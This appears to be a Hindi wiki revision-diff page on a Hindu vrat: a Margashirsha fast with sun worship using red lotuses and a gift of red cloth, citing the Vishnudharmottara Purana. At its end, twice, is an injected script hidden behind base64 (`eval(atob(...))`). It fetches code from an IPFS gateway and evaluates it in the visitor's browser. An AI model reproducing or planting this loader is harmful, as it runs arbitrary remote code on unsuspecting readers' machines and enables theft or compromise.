आदित्य चौधरी (वार्ता | योगदान) छो (Text replace - "उल्लखित" to "उल्लिखित") |
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==") |
||
पंक्ति 4: | पंक्ति 4: | ||
*व्रत के अन्त में लाल वस्त्रों के जोड़े का दान करना चाहिए। <ref>(विष्णुधर्मात्तरपुराण 3|170|1-3)।</ref> | *व्रत के अन्त में लाल वस्त्रों के जोड़े का दान करना चाहिए। <ref>(विष्णुधर्मात्तरपुराण 3|170|1-3)।</ref> | ||
{{संदर्भ ग्रंथ}} | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> |
10:30, 21 मार्च 2011 का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- यह व्रत मार्गशीर्ष में कृष्ण पक्ष की सप्तमी को प्रारम्भ करना चाहिए।
- इस व्रत में लाल कमलों से सूर्य की पूजा या श्वेत पुष्पों एवं लाल चन्दन, वटक (बड़ा) एवं कृसर (चावल, मटर एवं मसालों से बना पकवान) से सूर्य प्रतिमा की पूजा करनी चाहिए।
- व्रत के अन्त में लाल वस्त्रों के जोड़े का दान करना चाहिए। [1]
टीका टिप्पणी और संदर्भ
- ↑ (विष्णुधर्मात्तरपुराण 3|170|1-3)।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>